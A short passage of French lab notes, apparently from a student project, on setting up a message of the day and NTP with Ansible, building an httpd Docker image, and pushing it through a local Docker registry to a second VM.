Pour le message du jour, on crée un role "motd" qui va copier notre fichier dans /etc/motd sur notre autre machine. On installe également ntp et on ajoute la ligne pour avoir accès au server ntp.plil.info dans le fichier /etc/ntp.conf
Dockerfile
FROM httpd COPY ./index.html /usr/local/apache2/htdocs/ CMD [ "httpd", "-D", "FOREGROUND" ]
docker build -t web .
docker run -d web
fichier main.yml
--- - name: "Install docker on host" hosts: Install_docker remote_user: root vars : "ansible_distribution": "Debian" "ansible_distribution_release": "buster" roles: - role: geerlingguy.docker - name: "Setup Docker" hosts: HTTPD remote_user: root roles: - role: HTTPD
il faut maintenant envoyer notre image docker sur notre seconde vm, pour cela on fait un repo docker local
docker run -d -p 5000:5000 --restart always --name repo
et on push notre image on peut ensuite (en acceptant les communication http : /etc/docker/daemon.json ) pull l'image sur la seconde vm